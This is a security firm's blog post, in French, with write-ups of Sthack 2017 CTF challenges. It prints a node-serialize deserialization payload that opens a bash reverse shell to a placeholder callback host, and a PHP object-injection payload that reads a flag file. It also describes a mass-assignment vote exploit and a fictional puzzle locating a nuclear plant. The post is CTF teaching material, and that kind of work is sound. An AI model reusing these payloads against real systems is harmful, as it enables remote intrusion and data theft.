{"id":2957,"date":"2017-04-30T20:38:23","date_gmt":"2017-04-30T18:38:23","guid":{"rendered":"http:\/\/securite.intrinsec.com\/?p=2957"},"modified":"2017-04-30T20:38:23","modified_gmt":"2017-04-30T18:38:23","slug":"sthack-2017","status":"publish","type":"post","link":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/","title":{"rendered":"Stack 2017"},"content":{"rendered":"<p>Comme l\u2019ann\u00e9e derni\u00e8re, certains auditeurs Intrinsec se sont d\u00e9plac\u00e9s \u00e0 Bordeaux le temps d\u2019un week-end pour la conf\u00e9rence <a href=\"https:\/\/www.sthack.fr\/\">Sthack <\/a>2017 et le CTF qui s\u2019en est suivi.<\/p>\n<p>La premi\u00e8re \u00e9quipe a d\u00e9croch\u00e9 la seconde place apr\u00e8s avoir men\u00e9 la comp\u00e9tition une bonne partie de la nuit. La seconde \u00e9quipe a pris quant \u00e0 elle la cinqui\u00e8me place.<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-2965\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/sthack-2017-8.png\" alt=\"\" width=\"808\" height=\"349\" \/><\/p>\n<p>Nous remercions les speakers de la conf\u00e9rence, les organisateurs et sponsors de cet \u00e9v\u00e9nement que nous avons appr\u00e9ci\u00e9.<\/p>\n<p>Avec un peu de retard, nous vous partageons les write-ups de quelques \u00e9preuves.<\/p>\n<h1>Dreambook<\/h1>\n<p>Il s\u2019agit d\u2019une application Web node.js, nous identifions le code source original dans un tutoriel sur Internet et apr\u00e8s l\u2019avoir test\u00e9 nous remarquons une diff\u00e9rence majeure avec l\u2019\u00e9preuve : un cookie <em>profile<\/em> suppl\u00e9mentaire qui contient du JSON encod\u00e9 en base64.<\/p>\n<p>Nous pouvons d\u00e9clencher une erreur en le modifiant pour un JSON invalide :<\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-full wp-image-2961\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/sthack-2017-4.png\" alt=\"\" width=\"778\" height=\"641\" \/><\/p>\n<p>Cette erreur verbeuse divulgue le fait que le module <em>node-serialize<\/em> est utilis\u00e9 pour parser le JSON. Le mot cl\u00e9 <em>serialize<\/em> attire forc\u00e9ment l\u2019attention et on identifie rapidement sur Internet que ce module node.js est vuln\u00e9rable de mani\u00e8re similaire au <em>unserialize<\/em> de PHP ou <em>Pickle<\/em> de Python. Contrairement \u00e0 ces derniers, il est possible de s\u00e9rialiser directement du code avec une syntaxe particuli\u00e8re, nous obtenons le payload suivant :<\/p>\n<pre class=\"prettyprint\">{\"rce\":\"_$$ND_FUNC$$_function (){require('child_process').exec('bash -c \\\"bash -i &gt;&amp; \/dev\/tcp\/IP_SERVEUR_CALLBACK\/80 0&gt;&amp;1\\\"')}()\"}<\/pre>\n<p>Nous obtenons un reverse shell sur notre serveur, il ne reste plus qu\u2019\u00e0 extraire le flag :<\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-full wp-image-2960\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/sthack-2017-3.png\" alt=\"\" width=\"378\" height=\"109\" \/><\/p>\n<h1>Web Page Tester<\/h1>\n<p>Il s\u2019agit d\u2019une application Web PHP pour laquelle le code source nous \u00e9tait fourni. Assez rapidement on identifie des fonctions dangereuses int\u00e9ressantes : <em>include<\/em>, <em>unserialize, shell_exec.<\/em><\/p>\n<p>Le <em>unserialize<\/em> dans <em>index.php<\/em> prend en entr\u00e9e la valeur d\u2019un cookie :<\/p>\n<pre class=\"prettyprint\">else if(isset($_COOKIE['datas'])){\n$datas = unserialize(base64_decode($_COOKIE['datas']));\nif(!is_array($datas)) die(\"Are you trying to hack me ???\");\n$login = $datas[\"login\"];\n$password = $datas[\"password\"];\n$user = New User($login,$password);\n<\/pre>\n<p>Il faut donc envoyer un cookie <em>datas<\/em> avec un tableau PHP s\u00e9rialis\u00e9 et encod\u00e9 en base64. Le contenu de ce tableau est ensuite pass\u00e9 au constructeur de <em>User<\/em> qui stocke simplement le <em>login<\/em> et le <em>password<\/em> dans les attributs de l\u2019objet.<\/p>\n<p>Nous remarquons que dans la suite de <em>index.php<\/em>, que les identifiants soient corrects ou non, la m\u00e9thode <em>htmlentities<\/em> sera appel\u00e9e sur l\u2019objet <em>User<\/em> :<\/p>\n<pre class=\"prettyprint\">if(isset($user)){\n    if($user-&gt;login()){\n        echo \"&lt;h4&gt;Coucou \".htmlentities($user).\"&lt;\/h4&gt;\";\n        echo New File(\"pages\/curl.php\");\n    }\n    else {\n        echo htmlentities($user).\" bad auth\";\n<\/pre>\n<p>Ceci d\u00e9clenchera la m\u00e9thode <em>__toString<\/em> qui est surcharg\u00e9e pour retourner la valeur du <em>login<\/em>, si le <em>login<\/em> est un objet \u00e0 son tour sa m\u00e9thode <em>__toString<\/em> sera appel\u00e9e.<\/p>\n<p>C\u2019est int\u00e9ressant car dans la classe <em>File<\/em> nous avons la m\u00e9thode <em>__toString()<\/em> qui appelle <em>include<\/em> sur l\u2019attribut <em>path<\/em> qui est d\u00e9finissable par son constructeur :<\/p>\n<pre class=\"prettyprint\">class File{\n\tprivate $path;\n\n\tfunction __construct($path){\n\t\t$this-&gt;path = $path;\n\t}\n\n\tfunction __toString(){\n\t\tinclude($this-&gt;path);\n\t\treturn \"\";\n\t}\n}\n<\/pre>\n<p>Autre fichier d\u2019int\u00e9r\u00eat : <em>curl.php<\/em> qu\u2019il n\u2019\u00e9tait pas possible d\u2019appeler directement en raison d\u2019un <em>.htaccess<\/em> mais qui est \u00e0 notre port\u00e9e via l\u2019<em>include<\/em> :<\/p>\n<pre class=\"prettyprint\">$url = $_POST['url'] ?? null;\n\nif($url) {\n\t$good_chars =\"0123456789abcdefghijklmnopqrstuvwxyz.-\/?=:\";\n\t$blacklist = array('127.0.0.1','localhost',$GLOBALS[\"management_ip\"]);\n\tif(!in_array($url,$blacklist)){\n\t\t$url_escaped = \"\";\n\t\tfor($i=0;$i&lt;strlen($url);$i++){\n\t\t\tif(strstr($good_chars,$url[$i])) $url_escaped .= $url[$i];\n\t\t}\n\t\t$rep = shell_exec(\"curl -s -m 4 -v -- '$url_escaped' 2&gt;&amp;1\");\n\t}\n\telse die('Blacklisted');\n}\n<\/pre>\n<p>Une liste noire \u00e9vite l\u2019injection triviale de commandes <em>shell<\/em> : nous ferons sans, ce qui nous int\u00e9resse c\u2019est file:\/\/\/flag\/flag.txt (vu dans le fichier <em>admin\/admin.php<\/em>).<\/p>\n<p>Nous avons tous les \u00e9l\u00e9ments requis, voici comment pr\u00e9parer notre payload en PHP :<\/p>\n<pre class=\"prettyprint\">&lt;?php\nclass File{\n\tprivate $path;\n\tfunction __construct($path){\n\t\t$this-&gt;path = $path;\n\t}\n}\n$user = Array(\n\t\"login\" =&gt; new File(\"pages\/curl.php\"),\n\t\"password\" =&gt; \"toto\"\n);\n\n$payload = base64_encode(serialize($user));\necho $payload;\n?&gt;\n<\/pre>\n<p>Et voici la requ\u00eate que nous envoyons avec notre payload pr\u00e9c\u00e9dent :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2963\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/sthack-2017-6.png\" alt=\"\" width=\"518\" height=\"196\" \/><\/p>\n<p>Obtention du flag :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2962\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/sthack-2017-5.png\" alt=\"\" width=\"814\" height=\"322\" \/><\/p>\n<h1>Attaque terroriste<\/h1>\n<p>L\u2019\u00e9preuve nous explique l&rsquo;histoire fictive d&rsquo;un terroriste pr\u00e9parant une attaque et ayant laiss\u00e9 seulement le message suivant, t\u00e2che \u00e0 nous de d\u00e9couvrir les coordonn\u00e9es GPS de sa cible :<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2959\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/sthack-2017-2.png\" alt=\"\" width=\"398\" height=\"318\" \/><\/p>\n<p>Soit on a la chance d\u2019avoir un #avgeek dans son \u00e9quipe, soit on cherche sur Internet quelques mots cl\u00e9s comme LFBI : code a\u00e9rien de l\u2019a\u00e9roport de Poitiers, et on comprend alors mieux le sens de \u201cd\u00e9part\u201d et \u201ccroisi\u00e8re\u201d.<\/p>\n<p>Notre terroriste d\u00e9colle donc de l\u2019a\u00e9roport de Poitiers (LFBI) dans un avion F172 le 7 avril 2017 \u00e0 16h UTC.<\/p>\n<p>Il a ensuite pr\u00e9vu un impact \u00e0 16h09 (donc pas tr\u00e8s loin) sur une cible point\u00e9e par deux points <a href=\"https:\/\/fr.wikipedia.org\/wiki\/VHF_Omnidirectional_Range\">VOR<\/a> (syst\u00e8me de positionnement radio\u00e9lectrique). Il ne reste plus qu\u2019\u00e0 sortir la carte de croisi\u00e8re de l\u2019espace inf\u00e9rieur fournie par le <a href=\"https:\/\/www.sia.aviation-civile.gouv.fr\">Service de l&rsquo;Information A\u00e9ronautique fran\u00e7ais<\/a>.<\/p>\n<p>Nous identifions sur la carte les points VOR :<\/p>\n<ul>\n<li>POI qui \u00e9met sur la fr\u00e9quence 113.3 MHz, \u00e0 partir duquel on trace une droite orient\u00e9e d\u2019un angle de 116\u00b0 (avec 0\u00b0 : Nord et 90\u00b0 = Est). On peut tracer cet angle avec une rotation de calque sur Gimp ou avec un rapporteur coll\u00e9 sur la carte \ud83d\ude42<\/li>\n<li>LCA qui \u00e9met sur la fr\u00e9quence 112.1 MHz, \u00e0 partir duquel on trace une droite orient\u00e9e d\u2019un angle de 257\u00b0<\/li>\n<\/ul>\n<p>On obtient le trac\u00e9 suivant :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2964\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/sthack-2017-7.png\" alt=\"\" width=\"387\" height=\"284\" \/><\/p>\n<p>Une zone circulaire P2 est point\u00e9e, apr\u00e8s plusieurs recherche on identifie l&rsquo;<a href=\"https:\/\/www.legifrance.gouv.fr\/affichTexte.do?cidTexte=JORFTEXT000022009771&amp;dateTexte=&amp;categorieLien=id\">arr\u00eat\u00e9 du 3 mars 2010 portant cr\u00e9ation d&rsquo;une zone interdite identifi\u00e9e LF-P 2 au-dessus du site nucl\u00e9aire de Civaux (Vienne)<\/a>.<\/p>\n<p>On obtient des coordonn\u00e9es GPS pr\u00e9cises mais elles ne correspondent pas au flag, il fallait se rappeler l\u2019objectif initial : trouver la cible du terroriste. Il devient \u00e9vident qu\u2019il s\u2019agit de la centrale nucl\u00e9aire dont les coordonn\u00e9es sont sur Wikip\u00e9dia : nous avons le flag !<\/p>\n<h1>IA Rating Game<\/h1>\n<p>Il s\u2019agit d\u2019une application Web en ASP.NET pour laquelle le code-source \u00e9tait fourni.<\/p>\n<p>Le but est de voter pour les intelligences artificielles pr\u00e9sent\u00e9es et de donner une bonne note (5 \u00e9toiles) aux bonnes IA et une mauvaise note aux IA m\u00e9chantes afin d\u2019influencer la moyenne pour d\u00e9passer les 50%.<\/p>\n<p>En auditant le code, le premier d\u00e9faut identifi\u00e9 est la possibilit\u00e9 de voter z\u00e9ro \u00e9toile pour les IA mauvaises alors que l\u2019interface ne permet d\u2019attribuer au pire qu\u2019une \u00e9toile. Malheureusement les notes n\u00e9gatives ne sont pas accept\u00e9es, et m\u00eame en attribuant cinq \u00e9toiles aux bonnes IA et z\u00e9ro aux mauvaises on s\u2019approche sans d\u00e9passer le seuil de 50%.<\/p>\n<p>Il faut donc trouver une autre vuln\u00e9rabilit\u00e9.<\/p>\n<p>L\u2019application permet de voter une premi\u00e8re fois, puis de mettre \u00e0 jour son vote, mais n\u2019autorise pas le double vote. Voici le code qui g\u00e8re la m\u00e9thode POST pour la cr\u00e9ation d\u2019un vote :<\/p>\n<pre class=\"prettyprint\">[HttpPost]\n\/\/[Route(\"rate\")]\npublic async Task Rate(Rate rate)\n{\n    if (ModelState.IsValid)\n    {\n        try\n        {\n            if (!(await _context.Rates.AnyAsync(r =&gt; r.AIID == rate.AIID &amp;&amp; r.UserName == HttpContext.Session.Id)))\n            {\n                rate.UserName = HttpContext.Session.Id;\n                _context.Add(rate);\n                await _context.SaveChangesAsync();\n                return Ok();\n            }\n            else\n            {\n                ModelState.AddModelError(\"\", \"You have already vote, try update your vote\");\n            }\n        }\n\n<\/pre>\n<p>Nous remarquons que chaque IA a d\u00e9j\u00e0 des notes enregistr\u00e9es, associ\u00e9es \u00e0 d\u2019autres utilisateurs avec <em>UserName<\/em> \u00e9gal au <em>SessionID<\/em>. Or chaque instance de l\u2019\u00e9preuve est associ\u00e9e \u00e0 la session du joueur, donc il n\u2019est pas possible de se cr\u00e9er une seconde session pour voter deux fois.<\/p>\n<p>Voici le code qui g\u00e8re la m\u00e9thode PUT pour le changement d\u2019un vote :<\/p>\n<pre class=\"prettyprint\">\/\/ https:\/\/docs.microsoft.com\/en-us\/aspnet\/core\/data\/ef-mvc\/crud#update-the-edit-page\n[HttpPut]\n\/\/[Route(\"rate\/{id}\")]\npublic async Task Rate([FromRoute] int id, Rate rate)\n{\n    if (ModelState.IsValid)\n    {\n        try\n        {\n            var rateToUpdate = await _context.Rates.FirstOrDefaultAsync(r =&gt; r.ID == id &amp;&amp; r.UserName == HttpContext.Session.Id);\n            if (await TryUpdateModelAsync(rateToUpdate))\n            {\n                await _context.SaveChangesAsync();\n                return Ok();\n            }\n        }\n<\/pre>\n<p>Quand nous \u00e9ditons notre vote, nous observons que seul le param\u00e8tre <em>RateValue<\/em> est pass\u00e9, or il s\u2019agit d\u2019un attribut de la classe <em>Rate<\/em> et la m\u00e9thode pr\u00e9c\u00e9dente ne prend pas en param\u00e8tre <em>RateValue<\/em> mais bien un objet <em>Rate<\/em> : le framework se charge de cr\u00e9er automatiquement l\u2019objet \u00e0 partir du param\u00e8tre envoy\u00e9. Nous avons un cas de vuln\u00e9rabilit\u00e9 dite de <em>mass assignment<\/em> : nous pouvons d\u00e9finir n\u2019importe quel attribut de <em>Rate<\/em> en ajoutant un param\u00e8tre avec le bon nom. Nous manipulons les param\u00e8tres <em>RateValue<\/em>, <em>ID <\/em>(identifiant du vote), <em>AIID<\/em> (identifiant de l\u2019IA) et <em>UserName<\/em> pour cr\u00e9er des votes provenant d\u2019autres utilisateurs.<\/p>\n<p>Au final on parvient \u00e0 faire pencher la balance du c\u00f4t\u00e9 du bien et nous sommes r\u00e9compens\u00e9s par le flag :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2958\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/sthack-2017-1.png\" alt=\"\" width=\"1200\" height=\"592\" \/><\/p>\n<h1>Piano<\/h1>\n<p>Cette \u00e9preuve consiste en un fichier vid\u00e9o de 5mn. Nous avons une partition et une feuille (sur laquelle un zoom est effectu\u00e9 au d\u00e9but de la vid\u00e9o) contenant des num\u00e9ros, suivis de \u00ab\u00a0piano\u00a0\u00bb et \u00ab\u00a0partition\u00a0\u00bb.<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3029\" src=\"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2017\/04\/sthack-piano.png\" alt=\"\" width=\"532\" height=\"306\" \/>Assez rapidement nous observons que la bande son ne correspond pas \u00e0 ce qui est jou\u00e9, il s&rsquo;agit en fait de plusieurs extraits de morceaux de Beethoven. Nous utilisons Shazam pour tous les identifier et voyons que leurs num\u00e9ros d&rsquo;opus correspondent \u00e0 des codes ASCII d\u00e9cimaux valides et donc des lettres. Nous les remettons dans l&rsquo;ordre indiqu\u00e9 sur la feuille et avons le d\u00e9but du flag, il ne manque plus que deux caract\u00e8res.<\/p>\n<p>L&rsquo;indication \u00ab\u00a0piano\u00a0\u00bb correspond au morceau de Beethoven r\u00e9ellement jou\u00e9 et qu&rsquo;on entend au d\u00e9but : il faut surtout regarder les accords et identifier l&rsquo;absence de touches noires et donc la tonalit\u00e9 Do majeur puis rechercher les morceaux pour piano de Beethoven dans cette tonalit\u00e9, avec un num\u00e9ro d&rsquo;opus coh\u00e9rent (code ASCII) : <span class=\"st\">sonate pour piano n<sup>o<\/sup> 2<\/span>1 en do majeur, opus 53. Nous avons donc l&rsquo;opus 53, soit le caract\u00e8re ASCII &lsquo;5&rsquo;.<\/p>\n<p>L&rsquo;indication \u00ab\u00a0partition\u00a0\u00bb correspond au morceau de Beethoven dont la partition est pr\u00e9sente sur le piano, il faut identifier \u00e0 nouveau la tonalit\u00e9 Do majeur gr\u00e2ce \u00e0 l&rsquo;absence d&rsquo;armure \u00e0 la cl\u00e9 (toutefois cela aurait pu aussi indiquer un Do mineur) puis trouver que cela correspond \u00e0 la m\u00eame sonate (l&rsquo;auteur jouait donc la partition) donc \u00e0 nouveau le caract\u00e8re &lsquo;5&rsquo;.<\/p>\n<p>En combinant tout cela nous obtenons le flag. Merci \u00e0 Estelle pour son expertise invit\u00e9e sur cette \u00e9preuve !<\/p>\n<p>&nbsp;<\/p>\n<p><em>&#8212; Cl\u00e9ment Notin<\/em><\/p>\n<p><script src=\"https:\/\/cdn.rawgit.com\/google\/code-prettify\/master\/loader\/run_prettify.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Comme l\u2019ann\u00e9e derni\u00e8re, certains auditeurs Intrinsec se sont d\u00e9plac\u00e9s \u00e0 Bordeaux le temps d\u2019un week-end [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2022,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[142],"class_list":["post-2957","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-evenement","tag-sthack"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v28.0 (Yoast SEO v28.1) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Sthack 2017 - INTRINSEC<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.intrinsec.com\/en\/sthack-2017\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sthack 2017\" \/>\n<meta property=\"og:description\" content=\"Comme l\u2019ann\u00e9e derni\u00e8re, certains auditeurs Intrinsec se sont d\u00e9plac\u00e9s \u00e0 Bordeaux le temps d\u2019un week-end [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.intrinsec.com\/en\/sthack-2017\/\" \/>\n<meta property=\"og:site_name\" content=\"INTRINSEC\" \/>\n<meta property=\"article:published_time\" content=\"2017-04-30T18:38:23+00:00\" \/>\n<meta name=\"author\" content=\"Intrinsec\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@Intrinsec\" \/>\n<meta name=\"twitter:site\" content=\"@Intrinsec\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Intrinsec\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/\"},\"author\":{\"name\":\"Intrinsec\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/person\\\/ade590fbc7ad6f413727bae7cd3fb799\"},\"headline\":\"Sthack 2017\",\"datePublished\":\"2017-04-30T18:38:23+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/\"},\"wordCount\":1501,\"publisher\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/#primaryimage\"},\"thumbnailUrl\":\"\",\"keywords\":[\"sthack\"],\"articleSection\":[\"Ev\u00e8nement\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/\",\"name\":\"Sthack 2017 - INTRINSEC\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/#primaryimage\"},\"thumbnailUrl\":\"\",\"datePublished\":\"2017-04-30T18:38:23+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/#primaryimage\",\"url\":\"\",\"contentUrl\":\"\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/sthack-2017\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.intrinsec.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sthack 2017\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#website\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/\",\"name\":\"INTRINSEC\",\"description\":\"Notre m\u00e9tier , Prot\u00e9ger le v\u00f4tre\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.intrinsec.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#organization\",\"name\":\"INTRINSEC\",\"alternateName\":\"ISEC\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/libellule.png\",\"contentUrl\":\"https:\\\/\\\/www.intrinsec.com\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/libellule.png\",\"width\":1322,\"height\":1322,\"caption\":\"INTRINSEC\"},\"image\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/Intrinsec\",\"https:\\\/\\\/fr.linkedin.com\\\/company\\\/intrinsec\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UC0trUZAHNZOUbxYnNdecM4A\"],\"description\":\"soci\u00e9t\u00e9 de consulting, pure player cybers\u00e9curit\u00e9 fran\u00e7ais et europ\u00e9en depuis plus de 30ans, sp\u00e9cialiste dans la s\u00e9curit\u00e9 offensive & audit (pentest\\\/red team), GRC, et services IMSS comme le SOC, CTI et CERT Intrinsec est qualifi\u00e9 PASSI Elev\u00e9, PRIS Elev\u00e9 et PACS par l'ANSSI\",\"email\":\"contact@intrinsec.com\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/person\\\/ade590fbc7ad6f413727bae7cd3fb799\",\"name\":\"Intrinsec\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g\",\"caption\":\"Intrinsec\"},\"sameAs\":[\"https:\\\/\\\/www.intrinsec.com\"],\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/author\\\/ufhtbqccsz\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Sthack 2017 - INTRINSEC","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/","og_locale":"en_US","og_type":"article","og_title":"Sthack 2017","og_description":"Comme l\u2019ann\u00e9e derni\u00e8re, certains auditeurs Intrinsec se sont d\u00e9plac\u00e9s \u00e0 Bordeaux le temps d\u2019un week-end [&hellip;]","og_url":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/","og_site_name":"INTRINSEC","article_published_time":"2017-04-30T18:38:23+00:00","author":"Intrinsec","twitter_card":"summary_large_image","twitter_creator":"@Intrinsec","twitter_site":"@Intrinsec","twitter_misc":{"Written by":"Intrinsec","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/#article","isPartOf":{"@id":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/"},"author":{"name":"Intrinsec","@id":"https:\/\/www.intrinsec.com\/#\/schema\/person\/ade590fbc7ad6f413727bae7cd3fb799"},"headline":"Sthack 2017","datePublished":"2017-04-30T18:38:23+00:00","mainEntityOfPage":{"@id":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/"},"wordCount":1501,"publisher":{"@id":"https:\/\/www.intrinsec.com\/#organization"},"image":{"@id":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/#primaryimage"},"thumbnailUrl":"","keywords":["sthack"],"articleSection":["Ev\u00e8nement"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/","url":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/","name":"Sthack 2017 - INTRINSEC","isPartOf":{"@id":"https:\/\/www.intrinsec.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/#primaryimage"},"image":{"@id":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/#primaryimage"},"thumbnailUrl":"","datePublished":"2017-04-30T18:38:23+00:00","breadcrumb":{"@id":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.intrinsec.com\/en\/sthack-2017\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/#primaryimage","url":"","contentUrl":""},{"@type":"BreadcrumbList","@id":"https:\/\/www.intrinsec.com\/en\/sthack-2017\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.intrinsec.com\/"},{"@type":"ListItem","position":2,"name":"Sthack 2017"}]},{"@type":"WebSite","@id":"https:\/\/www.intrinsec.com\/#website","url":"https:\/\/www.intrinsec.com\/","name":"INTRINSEC","description":"Our job is to protect yours.","publisher":{"@id":"https:\/\/www.intrinsec.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.intrinsec.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.intrinsec.com\/#organization","name":"INTRINSEC","alternateName":"ISEC","url":"https:\/\/www.intrinsec.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.intrinsec.com\/#\/schema\/logo\/image\/","url":"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2025\/02\/libellule.png","contentUrl":"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2025\/02\/libellule.png","width":1322,"height":1322,"caption":"INTRINSEC"},"image":{"@id":"https:\/\/www.intrinsec.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/Intrinsec","https:\/\/fr.linkedin.com\/company\/intrinsec","https:\/\/www.youtube.com\/channel\/UC0trUZAHNZOUbxYnNdecM4A"],"description":"Intrinsec, a consulting firm and pure-play French and European cybersecurity provider for over 30 years, specializes 